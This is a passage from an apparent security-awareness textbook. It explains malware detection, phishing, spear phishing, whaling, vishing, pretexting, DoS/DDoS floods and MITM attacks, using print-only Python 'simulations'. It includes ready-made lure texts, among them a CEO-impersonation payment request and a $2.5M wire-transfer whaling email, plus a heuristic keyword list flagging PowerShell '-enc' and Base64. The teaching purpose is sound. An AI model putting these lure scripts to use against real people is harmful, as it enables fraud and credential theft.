Machine LearningUses AI to detect patternsDetects novel malwareRequires training data

Signature-Based Detection:

  • Uses known malware signatures (hash, pattern)
  • Works like a fingerprint database
  • Fast and efficient
  • Cannot detect new or modified malware

Heuristic Detection:

  • Identifies suspicious code patterns
  • Detects new malware variants
  • Uses rules and algorithms
  • May have false positives

Behavioral Detection:

  • Monitors system behavior
  • Detects anomalies
  • Uses baselines and thresholds
  • Can detect zero-day attacks

Machine Learning Detection:

  • Uses trained models
  • Can detect novel malware
  • Reduces false positives over time
  • Requires quality training data
# Conceptual malware detection simulation
class MalwareDetector:
    def __init__(self):
        self.signatures = {}
        self.suspicious_patterns = []
        self.baseline_behavior = {}

    def add_signature(self, malware_name, signature):
        """Add a malware signature"""
        self.signatures[malware_name] = signature
        print(f"✅ Added signature for {malware_name}")

    def signature_based_detection(self, sample):
        """Signature-based detection"""
        for name, signature in self.signatures.items():
            if signature in sample:
                print(f"⚠️ Signature match: {name}")
                return name
        return None

    def heuristic_detection(self, sample):
        """Heuristic detection"""
        suspicious_count = 0
        for pattern in self.suspicious_patterns:
            if pattern in sample:
                suspicious_count += 1
        if suspicious_count >= 3:
            print(f"⚠️ Heuristic alert: {suspicious_count} suspicious patterns")
            return "SUSPICIOUS"
        return "CLEAN"

    def behavioral_detection(self, current_behavior):
        """Behavioral detection"""
        for key, value in current_behavior.items():
            if key in self.baseline_behavior:
                if abs(value - self.baseline_behavior[key]) > 50:  # Threshold
                    print(f"⚠️ Behavioral anomaly: {key} changed")
                    return "ANOMALY"
        return "NORMAL"

# Example
detector = MalwareDetector()
detector.add_signature("WannaCry", "!#recover")
detector.suspicious_patterns = ["PowerShell", "Base64", "-enc", "Start-Process", "Invoke-"]

print(detector.signature_based_detection("!@#!@#!@#recover!#!#!#!"))
print(detector.heuristic_detection("PowerShell -enc Base64String Here"))

3.1.2 Phishing and Social Engineering

Social engineering is the art of manipulating people into performing actions or divulging information that benefits the attacker. It is consistently the most successful initial access technique in real-world attacks because it bypasses technical controls entirely. A firewall cannot block an employee from clicking a link in an email they believe is from their CEO. An intrusion detection system cannot prevent a user from typing their password into a convincing fake login page.

Phishing

Phishing is the most widespread form of social engineering. In a phishing attack, the attacker sends a fraudulent communication — typically an email — that appears to come from a trusted source. The communication contains either a malicious attachment or a link to a fraudulent website. The goal is to trick the recipient into executing the attachment or entering their credentials on the fake site.

Common Phishing Indicators:

IndicatorDescription
Urgency“Your account will be closed in 24 hours”
Generic Greeting“Dear Customer” instead of your name
Suspicious LinksHover to check the actual URL
Grammatical ErrorsPoor spelling and grammar
Unusual RequestsAsking for personal information
Sense of Importance“Immediate action required”
Forged SenderAppears from legitimate source
# Conceptual phishing simulation
class PhishingSimulation:
    def __init__(self):
        self.phishing_indicators = {
            "urgency": "Account will be closed",
            "greeting": "Dear Customer",
            "suspicious_link": "http://fake-bank.com",
            "grammar_errors": "Please verify your account",
            "request": "Confirm your password"
        }

    def check_email(self, email_content):
        """Check email for phishing indicators"""
        indicators_found = []
        for indicator, pattern in self.phishing_indicators.items():
            if pattern.lower() in email_content.lower():
                indicators_found.append(indicator)
        return indicators_found

    def generate_phishing_email(self, target, company):
        """Generate a sample phishing email"""
        return f"""
        Subject: URGENT: Account Verification Required

        Dear Customer,

        Your {company} account has been flagged for suspicious activity.
        Please confirm your credentials immediately to avoid account closure.

        Click here to verify: http://fake-{company}.com/verify

        Regards,
        {company} Security Team
        """

    def analyze_phishing(self, email):
        """Analyze an email for phishing indicators"""
        print("=== Phishing Analysis ===")
        print(f"Email content: {email[:100]}...")
        indicators = self.check_email(email)

        if indicators:
            print(f"⚠️ Phishing indicators found: {', '.join(indicators)}")
            print("   - Urgency: Creates false urgency")
            print("   - Generic greeting: Not personalized")
            print("   - Suspicious link: Check the URL")
            print("   - Grammar: May contain errors")
            print("✅ This email is likely PHISHING")
        else:
            print("✅ No obvious phishing indicators found")

# Example
phishing = PhishingSimulation()
email = phishing.generate_phishing_email("john.doe@example.com", "Bank")
phishing.analyze_phishing(email)

Spear Phishing

Definition: Spear phishing is a targeted variant of phishing. Rather than sending the same generic email to thousands of recipients and hoping a small percentage respond, spear phishing targets a specific individual or organization.

How It Works: The attacker researches the target’s colleagues, job role, ongoing projects, and writing style to craft a message that is highly convincing to that specific person. A spear phishing email to a company’s finance manager might reference a real invoice number, name a real supplier, and appear to come from the real CEO’s email address.

Spear Phishing vs Regular Phishing:

AspectRegular PhishingSpear Phishing
TargetMass audienceSpecific individual
ResearchMinimalExtensive
PersonalizationGenericHighly personalized
Success RateLow (0.1-1%)High (up to 50%)
DifficultyEasyComplex
RiskLow for attackerHigher for attacker
# Conceptual spear phishing simulation
class SpearPhishingSimulation:
    def __init__(self, target_name, target_company):
        self.target_name = target_name
        self.target_company = target_company
        self.research = {}

    def gather_osint(self):
        """Simulate OSINT gathering"""
        print(f"🔍 Gathering intelligence on {self.target_name}...")
        self.research = {
            "role": "Finance Manager",
            "colleagues": ["Sarah (CEO)", "Mike (CFO)"],
            "projects": ["Q4 Budget", "Vendor Contracts"],
            "recent_activity": "Approved payments of $50,000+"
        }
        print(f"✅ Research complete")

    def craft_spear_phishing(self):
        """Craft a targeted spear phishing email"""
        return f"""
        Subject: URGENT: Vendor Payment Approval

        Hi {self.target_name},

        Mike asked me to follow up on the vendor payment for Q4 Budget that needs approval today.
        Can you confirm the final amount for Acme Corp?
        The invoice is attached for your review.

        Please approve by EOD.

        Thanks,
        Sarah
        """

    def execute(self):
        """Execute spear phishing simulation"""
        print("=== Spear Phishing Simulation ===")
        self.gather_osint()
        email = self.craft_spear_phishing()
        print(f"\n📧 Spear Phishing Email:")
        print(email)
        print("\n⚠️ Indicators:")
        print("   - Uses specific name: Hi {self.target_name}")
        print("   - References real colleagues: Mike, Sarah")
        print("   - References real projects: Q4 Budget")
        print("   - Creates urgency: 'needs approval today'")
        print("   - Uses authority: 'Mike asked me to'")

# Example
spear = SpearPhishingSimulation("John Doe", "Acme Corp")
spear.execute()

Whaling

Whaling is spear phishing targeted specifically at senior executives — the “big fish” of an organisation. An email to a CFO appearing to come from the company’s auditors, requesting urgent wire transfer authorisation for a legitimate-sounding business purpose, is a classic example.

Why Whaling Works:

  • Executives have high-level access
  • They receive many emails and may not scrutinize carefully
  • Authority and urgency override skepticism
  • Usually bypass normal approval processes

The FBI estimated that business email compromise — a category that includes whaling — cost organisations globally over 43 billion dollars between 2016 and 2021.

# Conceptual whaling simulation
class WhalingSimulation:
    def __init__(self, executive_name, executive_title):
        self.executive_name = executive_name
        self.executive_title = executive_title

    def craft_whaling_email(self):
        """Create a whaling email targeting a CFO"""
        return f"""
        Subject: CONFIDENTIAL: Wire Transfer Authorization

        {self.executive_title} {self.executive_name},

        This is a high-priority wire transfer request for the acquisition we discussed.
        Amount: $2,500,000
        Account: 1234-5678-9012 (HSBC Singapore)

        Please authorize immediately. The deal is time-sensitive.

        I will follow up with documentation.

        Regards,
        David Chen
        CFO, Strategic Partners Inc.
        """

    def analyze_whaling(self, email):
        """Analyze whaling email characteristics"""
        print("=== Whaling Analysis ===")
        print(f"Target: {self.executive_title} {self.executive_name}")
        print(f"Email: {email[:100]}...")
        print("\n⚠️ Whaling Characteristics:")
        print("   - Targets high-level executive (CFO)")
        print("   - Uses urgent language: 'high-priority', 'immediately'")
        print("   - References large amounts ($2,500,000)")
        print("   - Bypasses normal approval process")
        print("   - Impersonates trusted counterparty")

# Example
whaling = WhalingSimulation("Jane Smith", "CFO")
whaling.analyze_whaling(whaling.craft_whaling_email())

Vishing

Definition: Vishing is voice phishing — the same manipulation conducted over the telephone. An attacker calls a help desk employee, claims to be a senior executive locked out of their account, and pressures the employee into resetting the password without following proper verification procedures.

How It Works:

  1. Attacker calls the victim, often spoofing the caller ID
  2. Pretends to be from a trusted organization (bank, IT support, government)
  3. Creates urgency or fear
  4. Requests sensitive information (account numbers, passwords, MFA codes)
  5. Uses social engineering to overcome skepticism
# Conceptual vishing simulation
class VishingSimulation:
    def __init__(self):
        self.scripts = {
            "IT_Support": "Hi, this is IT Support. We detected a security issue with your account. Please verify your credentials.",
            "Bank_Fraud": "This is your bank's fraud department. We noticed suspicious activity. Please confirm your account number.",
            "Government": "This is the tax office. You have unpaid taxes. Please verify your identity."
        }

    def simulate_call(self, pretext="IT_Support"):
        """Simulate a vishing call"""
        print("=== Vishing Call Simulation ===")
        print(f"📞 Caller: Unknown (Spoofed: +1-800-XXX-XXXX)")
        print(f"🔊 Script: {self.scripts[pretext]}")
        print("\n⚠️ Victim Pressure Tactics:")
        print("   - Urgency: 'Security issue detected'")
        print("   - Authority: 'IT Support', 'Fraud Department'")
        print("   - Fear: 'Suspicious activity', 'Unpaid taxes'")
        print("   - Request: 'Verify credentials', 'Confirm account'")
        print("\n✅ Best Defense: Hang up and call back through official channels")

vishing = VishingSimulation()
vishing.simulate_call("IT_Support")

Smishing

Definition: Smishing is SMS-based phishing. A text message claiming to be from a bank, delivery company, or government agency contains a link to a fake website.

Why Smishing Is Effective:

  • SMS messages feel more personal than emails
  • Phones have smaller screens, making URLs harder to inspect
  • SMS messages have less security filtering than email
  • Quick to read and respond before thinking critically
# Conceptual smishing simulation
class SmishingSimulation:
    def __init__(self):
        self.smishing_examples = [
            {
                "from": "YourBank",
                "message": "Your account has been locked. Click http://fakebank.com/unlock to verify identity.",
                "red_flag": "Urgent action required, suspicious link"
            },
            {
                "from": "Delivery Company",
                "message": "Your package is delayed. Track: http://fake-delivery.com/track",
                "red_flag": "Unexpected package, suspicious link"
            },
            {
                "from": "Government",
                "message": "You are eligible for a $500 refund. Claim: http://fake.gov.com/claim",
                "red_flag": "Too good to be true, suspicious link"
            }
        ]

    def analyze_smishing(self, example):
        """Analyze a smishing message"""
        print("=== Smishing Analysis ===")
        print(f"From: {example['from']}")
        print(f"Message: {example['message']}")
        print(f"⚠️ Red Flag: {example['red_flag']}")
        print("✅ Do NOT click the link. Verify through official channels.")

# Example
smishing = SmishingSimulation()
for example in smishing.smishing_examples:
    smishing.analyze_smishing(example)
    print()

Physical Social Engineering

Physical social engineering involves manipulating people through physical interaction or presence to gain unauthorized access to facilities, information, or systems.

Common Physical Social Engineering Techniques:

TechniqueDescription
TailgatingFollowing an authorized person through a secure door
USB DropsLeaving infected USB drives in parking lots or offices
ImpersonationPretending to be a contractor, delivery person, or employee
Shoulder SurfingLooking over someone’s shoulder to see their screen or keyboard
Dumpster DivingSearching through trash for sensitive documents

Example Scenario: An attacker dresses in a delivery uniform, carries a box, and waits near the entrance of a building. When an employee opens the door, the attacker follows them in, pretending they were already there. Once inside, the attacker plugs a USB drive into a computer or searches for sensitive documents.

# Conceptual physical social engineering simulation
class PhysicalEngineering:
    def __init__(self):
        self.techniques = []

    def add_technique(self, name, description, prevention):
        self.techniques.append({
            "name": name,
            "description": description,
            "prevention": prevention
        })

    def simulate(self):
        print("=== Physical Social Engineering Simulation ===")
        print("🎯 Scenario: Attacker targets office building")
        print("👤 Attacker: 'I'm from IT. Need to check the network.'")
        print("🚪 Action: Follows employee through secure door (tailgating)")
        print("💻 Action: Drops USB drive in common area")
        print("📁 Result: Employee plugs in USB, malware installed")
        print()

        print("Attack Techniques:")
        for technique in self.techniques:
            print(f"\n  🔹 {technique['name']}")
            print(f"     {technique['description']}")
            print(f"     ✅ Prevention: {technique['prevention']}")

# Example
physical = PhysicalEngineering()
physical.add_technique("Tailgating", "Following authorized personnel through secure doors", "Use access control, challenge strangers")
physical.add_technique("USB Drops", "Leaving infected USBs in parking lots or offices", "Disable USB ports, awareness training")
physical.add_technique("Impersonation", "Pretending to be a contractor or employee", "Verify identity, require badges")
physical.simulate()

Pretexting

Pretexting is creating a false scenario (pretext) to manipulate someone into providing information or performing an action.

How It Works:

  1. Attacker creates a believable story
  2. Contacts the victim with this story
  3. Uses the pretext to request information or action
  4. The victim complies because the story seems legitimate

Example: An attacker calls an employee and says, “Hi, this is HR. We’re updating our records and need to confirm your date of birth and employee ID for the new benefits system.” The employee provides the information because the caller seems legitimate and the request seems reasonable.

# Conceptual pretexting simulation
class PretextingSimulation:
    def __init__(self):
        self.pretexts = [
            {
                "name": "HR Verification",
                "caller": "HR Department",
                "script": "We're updating employee records for the new benefits system. Please confirm your employee ID and date of birth.",
                "information_targeted": "Employee ID, DOB, personal information"
            },
            {
                "name": "IT Support",
                "caller": "IT Helpdesk",
                "script": "We've detected a security issue with your account. Please confirm your username and password to verify.",
                "information_targeted": "Username, password"
            },
            {
                "name": "Vendor Invoice",
                "caller": "Vendor Accounts",
                "script": "We need to verify your bank account details for an invoice payment. Please confirm the account number.",
                "information_targeted": "Bank account details"
            }
        ]

    def simulate(self, pretext_index=0):
        """Simulate a pretexting scenario"""
        pretext = self.pretexts[pretext_index]
        print("=== Pretexting Simulation ===")
        print(f"🎭 Scenario: {pretext['name']}")
        print(f"📞 Caller: {pretext['caller']}")
        print(f"💬 Script: {pretext['script']}")
        print(f"🎯 Information Targeted: {pretext['information_targeted']}")
        print("\n⚠️ Red Flags:")
        print("   - Unsolicited contact")
        print("   - Requesting sensitive information")
        print("   - Urgency or authority pressure")
        print("✅ Best Defense: Verify identity through official channels")

# Example
pretexting = PretextingSimulation()
pretexting.simulate(0)

Baiting

Baiting is enticing victims with physical media or offers to get them to perform a desired action.

How It Works:

  1. Attacker leaves bait (infected USB drive, CD, or attractive offer)
  2. Victim finds the bait and interacts with it
  3. Malware is installed or information is captured
  4. Attacker gains access to the system or network

Example: An attacker leaves USB drives labeled “Employee Bonuses” in a company parking lot. An employee finds one, plugs it into their computer, and malware installs automatically.

# Conceptual baiting simulation
class BaitingSimulation:
    def __init__(self):
        self.bait_types = [
            {
                "type": "USB Drive",
                "label": "Employee Bonuses Q4 2024",
                "location": "Parking lot, cafeteria, common areas",
                "exploit": "AutoRun malware installation"
            },
            {
                "type": "Email Attachment",
                "subject": "Your Invoice is Ready",
                "attachment": "invoice_2024.pdf.exe",
                "exploit": "Trojan installation"
            },
            {
                "type": "Free Software",
                "offer": "Free Anti-Virus Pro",
                "download": "http://fake-antivirus.com",
                "exploit": "Spyware installation"
            }
        ]

    def simulate(self, bait_index=0):
        """Simulate a baiting scenario"""
        bait = self.bait_types[bait_index]
        print("=== Baiting Simulation ===")
        print(f"🎣 Bait Type: {bait['type']}")
        print(f"📌 Bait Details: {bait.get('label', bait.get('subject', bait.get('offer')))}")
        print(f"📍 Location: {bait.get('location', 'Email/Digital')}")
        print(f"💥 Exploit: {bait['exploit']}")
        print("\n⚠️ Prevention:")
        print("   - Never plug in unknown USB drives")
        print("   - Verify attachments before opening")
        print("   - Only download from official sources")

# Example
baiting = BaitingSimulation()
baiting.simulate(0)

Quid Pro Quo

Quid pro quo is exchanging services or favors for information, creating a reciprocal relationship that the attacker exploits.

How It Works:

  1. Attacker offers something of value (help, service, benefit)
  2. Target accepts the offer
  3. Attacker requests information or action in return
  4. Target complies because they feel obligated to reciprocate

Example: An attacker calls and says, “I can help you with your IT issue, but I need you to verify your account first.” The employee provides credentials to get help.

# Conceptual quid pro quo simulation
class QuidProQuo:
    def __init__(self):
        self.scenarios = [
            {
                "name": "IT Help Desk",
                "offer": "Free technical support",
                "request": "Verify account credentials",
                "exploit": "Account compromise"
            },
            {
                "name": "Market Research",
                "offer": "Gift card for survey",
                "request": "Provide personal information",
                "exploit": "Identity theft"
            },
            {
                "name": "Software Assistance",
                "offer": "Free software installation",
                "request": "Allow remote access",
                "exploit": "System compromise"
            }
        ]

    def simulate(self, scenario_index=0):
        """Simulate a quid pro quo scenario"""
        scenario = self.scenarios[scenario_index]
        print("=== Quid Pro Quo Simulation ===")
        print(f"🎭 Scenario: {scenario['name']}")
        print(f"🎁 Offer: {scenario['offer']}")
        print(f"📋 Request: {scenario['request']}")
        print(f"💥 Exploit: {scenario['exploit']}")
        print("\n⚠️ Red Flags:")
        print("   - Unsolicited offers of help")
        print("   - Requesting sensitive information for 'verification'")
        print("   - Too good to be true offers")
        print("✅ Best Defense: Verify identity and legitimacy")

# Example
quid_pro_quo = QuidProQuo()
quid_pro_quo.simulate(0)

Social Engineering Prevention

Key Prevention Measures:

MeasureDescription
User Awareness TrainingTeach employees to identify social engineering attacks
Email FilteringBlock phishing emails before they reach users
DMARC/DKIM/SPFPrevent email spoofing
Multi-Factor Authentication (MFA)Prevent account compromise even if credentials are stolen
Verify IdentityAlways verify through official channels
Security CultureCreate a culture where security is everyone’s responsibility
# Social engineering prevention checklist
class SEPrevention:
    def __init__(self):
        self.controls = []

    def add_control(self, name, description, implementation):
        self.controls.append({
            "name": name,
            "description": description,
            "implementation": implementation
        })

    def display_checklist(self):
        print("=== Social Engineering Prevention Checklist ===")
        for control in self.controls:
            print(f"\n🔹 {control['name']}")
            print(f"   {control['description']}")
            print(f"   ✅ Implementation: {control['implementation']}")

# Example
prevention = SEPrevention()
prevention.add_control(
    "User Awareness Training",
    "Regularly train employees on social engineering tactics",
    "Monthly training sessions, phishing simulations"
)
prevention.add_control(
    "Email Filtering",
    "Block phishing and suspicious emails",
    "DMARC, DKIM, SPF, anti-phishing filters"
)
prevention.add_control(
    "Multi-Factor Authentication (MFA)",
    "Require multiple authentication factors",
    "SMS codes, authenticator apps, hardware tokens"
)
prevention.add_control(
    "Verify Identity",
    "Always verify requests through official channels",
    "Call back known numbers, verify via email"
)
prevention.display_checklist()

3.1.3 DoS / DDoS (System Overload)

Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks attempt to make a system or network resource unavailable to its intended users. They are direct attacks against the availability component of the CIA Triad.

DoS Attacks

Definition: A Denial of Service attack attempts to make a system or network resource unavailable by flooding it with traffic, exploiting vulnerabilities, or consuming resources.

Key Characteristics:

  • Single source attack
  • Overwhelms system resources
  • Makes system unavailable
  • Can be mitigated by blocking the source

Common DoS Attack Types:

Attack TypeDescriptionTarget
Resource ExhaustionConsumes all available resourcesCPU, memory, connections
Bandwidth FloodingOverwhelms network bandwidthNetwork interface
Application AttacksExploits application vulnerabilitiesWeb servers, databases
Protocol AttacksExploits protocol weaknessesTCP, UDP, ICMP

DDoS Attacks

A Distributed Denial of Service (DDoS) attack uses thousands or hundreds of thousands of compromised machines — called a botnet — to flood a target simultaneously.

How It Works:

  1. Attacker builds a botnet (network of compromised machines)
  2. Botnet is controlled through command and control infrastructure
  3. Attacker instructs botnet to attack a target
  4. Each bot sends traffic to the target
  5. Aggregate traffic overwhelms the target

Why DDoS Is More Dangerous:

  • Traffic comes from thousands of sources
  • Blocking individual IPs is futile (new ones appear)
  • Attack volume is enormous (100+ Gbps is common)
  • Hard to distinguish legitimate traffic from attack traffic

DDoS Attack Types:

TypeDescriptionExample
VolumetricFloods with raw trafficUDP flood, ICMP flood
ProtocolExploits protocol weaknessesSYN flood, ACK flood
Application LayerTargets specific applicationsHTTP flood, Slowloris
AmplificationExploits reflection/amplificationDNS reflection, NTP amplification

SYN Flood

A SYN flood exploits the TCP three-way handshake. The attacker sends a flood of SYN packets but never completes the handshake, leaving connections half-open.

How TCP Handshake Works:

  1. Client sends SYN (synchronize)
  2. Server sends SYN-ACK (synchronize-acknowledge)
  3. Client sends ACK (acknowledge) – connection established

SYN Flood Attack:

  1. Attacker sends many SYN packets
  2. Server sends SYN-ACK and waits for ACK
  3. Attacker never sends ACK
  4. Server’s connection queue fills up
  5. Legitimate connections are refused
# Conceptual SYN flood simulation
class SYNFloodSimulation:
    def __init__(self):
        self.half_open_connections = []
        self.max_connections = 100

    def syn_packet(self, source_ip):
        """Simulate incoming SYN packet"""
        if len(self.half_open_connections) < self.max_connections:
            self.half_open_connections.append({
                "source": source_ip,
                "state": "SYN_RECV",
                "timeout": 30  # seconds
            })
            print(f"📨 SYN from {source_ip} - Connection accepted")
        else:
            print(f"❌ Connection queue full - Dropping SYN from {source_ip}")

    def syn_flood_attack(self, botnet_ips, count=20):
        """Simulate SYN flood attack"""
        print("=== SYN Flood Attack Simulation ===")
        print(f"💀 Attacking with {len(botnet_ips)} bots")

        for _ in range(count):
            for ip in botnet_ips:
                self.syn_packet(ip)

        print(f"🔥 {len(self.half_open_connections)} half-open connections")
        print("⚠️ New connections are being refused")

# Example
syn_flood = SYNFloodSimulation()
botnet = ["192.168.1.10", "192.168.1.11", "192.168.1.12", "192.168.1.13"]
syn_flood.syn_flood_attack(botnet, 10)

UDP Flood

Definition: A UDP flood sends a large number of UDP packets to random ports on the target, causing the target to check for listening applications and generate ICMP “Destination Unreachable” responses.

Why It Works:

  1. UDP is connectionless (no handshake)
  2. Target must check if any application is listening on the port
  3. If no application is listening, it sends ICMP unreachable
  4. The CPU overhead of processing packets exhausts resources
# Conceptual UDP flood simulation
class UDPFloodSimulation:
    def __init__(self, target_ip, target_port):
        self.target_ip = target_ip
        self.target_port = target_port
        self.packets_sent = 0

    def send_udp_packet(self):
        """Simulate sending a UDP packet"""
        self.packets_sent += 1
        print(f"📨 UDP packet #{self.packets_sent} to {self.target_ip}:{self.target_port}")

    def flood(self, count=100):
        """Simulate UDP flood attack"""
        print("=== UDP Flood Attack Simulation ===")
        print(f"🎯 Target: {self.target_ip}:{self.target_port}")
        print(f"💀 Sending {count} UDP packets...")

        for _ in range(count):
            self.send_udp_packet()

        print(f"✅ {self.packets_sent} UDP packets sent")
        print("⚠️ Target's network interface may be overwhelmed")

# Example
udp_flood = UDPFloodSimulation("203.0.113.10", 12345)
udp_flood.flood(50)

HTTP Flood

Definition: An HTTP flood sends thousands of HTTP GET or POST requests per second to a web server, overwhelming its resources.

Why It’s Dangerous:

  • Requests appear legitimate (HTTP syntax)
  • Hard to distinguish from real traffic
  • Server must process each request
  • Database connections and CPU exhaust
# Conceptual HTTP flood simulation
class HTTPFloodSimulation:
    def __init__(self, target_url):
        self.target_url = target_url
        self.requests_sent = 0

    def send_http_request(self):
        """Simulate sending an HTTP request"""
        self.requests_sent += 1
        print(f"📨 HTTP request #{self.requests_sent} to {self.target_url}")

    def flood(self, count=100):
        """Simulate HTTP flood attack"""
        print("=== HTTP Flood Attack Simulation ===")
        print(f"🎯 Target: {self.target_url}")
        print(f"💀 Sending {count} HTTP requests...")

        for _ in range(count):
            self.send_http_request()

        print(f"✅ {self.requests_sent} HTTP requests sent")
        print("⚠️ Web server may be overwhelmed")

# Example
http_flood = HTTPFloodSimulation("https://example.com/page.php")
http_flood.flood(50)

Amplification Attacks

Definition: Amplification attacks exploit publicly accessible services to amplify the attack traffic, generating massive traffic volumes from small packets.

How It Works:

  1. Attacker sends a small packet with a spoofed source IP (the target’s IP)
  2. The service responds with a much larger packet
  3. The response goes to the target (the spoofed IP)
  4. The target is overwhelmed by the amplified traffic

Common Amplification Vectors:

ServiceAmplification Factor
DNS Reflection28x – 54x
NTP AmplificationUp to 556x
Memcached ReflectionUp to 51,000x
SNMP Amplification6x – 50x
Chargen Reflection350x
# Conceptual amplification attack simulation
class AmplificationAttack:
    def __init__(self):
        self.amplification_factors = {
            "DNS": 50,
            "NTP": 556,
            "Memcached": 51000,
            "SNMP": 50,
            "Chargen": 350
        }

    def calculate_amplified_traffic(self, service, initial_size_bytes):
        """Calculate the amplified traffic size"""
        if service in self.amplification_factors:
            factor = self.amplification_factors[service]
            amplified = initial_size_bytes * factor
            return amplified, factor
        else:
            return initial_size_bytes, 1

    def simulate_attack(self, service, initial_size=100):
        """Simulate an amplification attack"""
        print("=== Amplification Attack Simulation ===")
        print(f"📡 Service: {service}")
        print(f"📦 Initial packet size: {initial_size} bytes")

        amplified, factor = self.calculate_amplified_traffic(service, initial_size)
        print(f"🔄 Amplification factor: {factor}x")
        print(f"💥 Final packet size: {amplified} bytes")
        print(f"🎯 Target receives {amplified/1000000:.2f} MB per request")

        if service == "Memcached":
            print("⚠️ Memcached amplification is extremely dangerous (51,000x)")

# Example
amplification = AmplificationAttack()
amplification.simulate_attack("DNS", 100)
amplification.simulate_attack("NTP", 100)
amplification.simulate_attack("Memcached", 100)

DDoS Mitigation

Mitigation TechniqueDescription
Rate LimitingLimiting the number of requests from a single source
CDN (Content Delivery Network)Distributing traffic across multiple servers
Scrubbing CentersFiltering traffic before it reaches the target
WAF (Web Application Firewall)Filtering application-layer attacks
Anycast RoutingDistributing traffic across multiple data centers
Traffic AnalysisIdentifying and blocking attack patterns
# DDoS mitigation checklist
class DDoSMitigation:
    def __init__(self):
        self.measures = []

    def add_measure(self, name, description, implementation):
        self.measures.append({
            "name": name,
            "description": description,
            "implementation": implementation
        })

    def display_checklist(self):
        print("=== DDoS Mitigation Checklist ===")
        for measure in self.measures:
            print(f"\n🔹 {measure['name']}")
            print(f"   {measure['description']}")
            print(f"   ✅ Implementation: {measure['implementation']}")

# Example
mitigation = DDoSMitigation()
mitigation.add_measure(
    "Rate Limiting",
    "Limit requests from single IP addresses",
    "Implement on firewalls and application servers"
)
mitigation.add_measure(
    "CDN",
    "Distribute traffic across multiple servers",
    "Use Cloudflare, Akamai, or similar"
)
mitigation.add_measure(
    "WAF",
    "Filter application-layer attacks",
    "Deploy WAF at the edge"
)
mitigation.display_checklist()

3.1.4 Man-in-the-Middle (MITM)

A Man-in-the-Middle (MITM) attack occurs when an attacker secretly intercepts and potentially alters communication between two parties who believe they are communicating directly with each other. The attacker positions themselves in the communication path — receiving traffic from both parties, reading or modifying it, and forwarding it so neither party is immediately aware of the intrusion.

ARP Spoofing

Definition: ARP spoofing (ARP poisoning) exploits the stateless nature of the Address Resolution Protocol, which maps IP addresses to MAC addresses on local network segments.

How It Works:

  1. Attacker sends gratuitous ARP replies claiming their MAC address for the gateway IP
  2. Victim’s ARP cache is poisoned (gateway IP → attacker’s MAC)
  3. Attacker sends gratuitous ARP replies claiming their MAC address for the victim’s IP
  4. Gateway’s ARP cache is poisoned (victim IP → attacker’s MAC)
  5. All traffic between victim and gateway flows through the attacker
# Conceptual ARP spoofing simulation
class ARPSpoofingSimulation:
    def __init__(self):
        self.arp_cache = {}
        self.ip_map = {
            "192.168.1.1": "00:11:22:33:44:55",  # Gateway
            "192.168.1.10": "AA:BB:CC:DD:EE:FF",  # Victim
            "192.168.1.100": "11:22:33:44:55:66"  # Attacker
        }

    def send_arp_reply(self, ip, mac):
        """Simulate sending an ARP reply"""
        self.arp_cache[ip] = mac
        print(f"📨 ARP Reply: {ip} is at {mac}")

    def arp_spoof(self, target_ip, gateway_ip):
        """Simulate ARP spoofing attack"""
        print("=== ARP Spoofing Attack Simulation ===")
        attacker_mac = self.ip_map["192.168.1.100"]

        # Poison victim's ARP cache
        print(f"🎯 Poisoning {target_ip}'s ARP cache...")
        self.send_arp_reply(gateway_ip, attacker_mac)

        # Poison gateway's ARP cache
        print(f"🎯 Poisoning gateway's ARP cache...")
        self.send_arp_reply(target_ip, attacker_mac)

        print(f"✅ MITM position established!")
        print(f"🌐 All traffic between {target_ip} and {gateway_ip} flows through attacker")

    def show_arp_cache(self):
        """Display ARP cache"""
        print("\n=== ARP Cache ===")
        for ip, mac in self.arp_cache.items():
            print(f"  {ip} -> {mac}")
        print("⚠️ Note: Gateway IP points to attacker's MAC")

# Example
arp_spoof = ARPSpoofingSimulation()
arp_spoof.arp_spoof("192.168.1.10", "192.168.1.1")
arp_spoof.show_arp_cache()

DNS Spoofing

DNS spoofing (DNS cache poisoning) involves injecting false DNS records into a DNS resolver’s cache, causing it to return an attacker-controlled IP address for a legitimate domain.

How It Works:

  1. Attacker intercepts or predicts DNS queries
  2. Attacker sends a forged DNS response (faster than legitimate response)
  3. DNS resolver caches the forged response
  4. Users are redirected to the attacker’s server
  5. Attacker can capture credentials or deliver malware
# Conceptual DNS spoofing simulation
class DNSSpoofingSimulation:
    def __init__(self):
        self.dns_cache = {}
        self.legitimate_ips = {
            "google.com": "142.250.190.46",
            "facebook.com": "157.240.1.35",
            "bank.com": "203.0.113.10"
        }
        self.attacker_ip = "192.168.1.100"

    def query_dns(self, domain):
        """Simulate DNS query"""
        if domain in self.dns_cache:
            return self.dns_cache[domain]
        elif domain in self.legitimate_ips:
            return self.legitimate_ips[domain]
        else:
            return "Unknown"

    def poison_cache(self, domain):
        """Simulate DNS cache poisoning"""
        print(f"💉 Poisoning DNS cache for {domain}")
        self.dns_cache[domain] = self.attacker_ip
        print(f"✅ {domain} now resolves to {self.attacker_ip}")

    def simulate_attack(self):
        """Simulate DNS spoofing attack"""
        print("=== DNS Spoofing Attack Simulation ===")

        # Normal resolution
        print(f"🔍 User queries: bank.com")
        ip = self.query_dns("bank.com")
        print(f"✅ Legitimate IP: {ip}")

        # Attacker poisons cache
        self.poison_cache("bank.com")

        # Now user gets attacker's IP
        print(f"🔍 User queries: bank.com")
        ip = self.query_dns("bank.com")
        print(f"⚠️ User is redirected to {ip} (attacker's server)")
        print("💀 Attacker can now steal credentials")

# Example
dns_spoof = DNSSpoofingSimulation()
dns_spoof.simulate_attack()

SSL/TLS Hijacking

SSL/TLS hijacking involves intercepting encrypted connections to read or modify the data, despite the encryption.

Common Techniques:

TechniqueDescription
SSL StrippingDowngrading HTTPS to HTTP
Certificate SpoofingUsing fake certificates
Downgrade AttacksForcing older, less secure protocols
Certificate Validation BypassExploiting implementation flaws
# Conceptual SSL/TLS hijacking simulation
class SSLHijacking:
    def __init__(self):
        self.ssl_attacks = [
            {
                "name": "SSL Stripping",
                "description": "Downgrade HTTPS to HTTP",
                "mechanism": "Intercept HTTPS request, serve HTTP to client"
            },
            {
                "name": "Certificate Spoofing",
                "description": "Use fake certificate",
                "mechanism": "Present self-signed certificate to client"
            },
            {
                "name": "Downgrade Attack",
                "description": "Force older protocol version",
                "mechanism": "Intercept TLS negotiation, force TLS 1.0"
            }
        ]

    def simulate_strip_attack(self, url):
        """Simulate SSL stripping attack"""
        print("=== SSL Stripping Attack ===")
        print(f"🎯 Target: {url}")
        print(f"🔓 Intercepted HTTPS request")
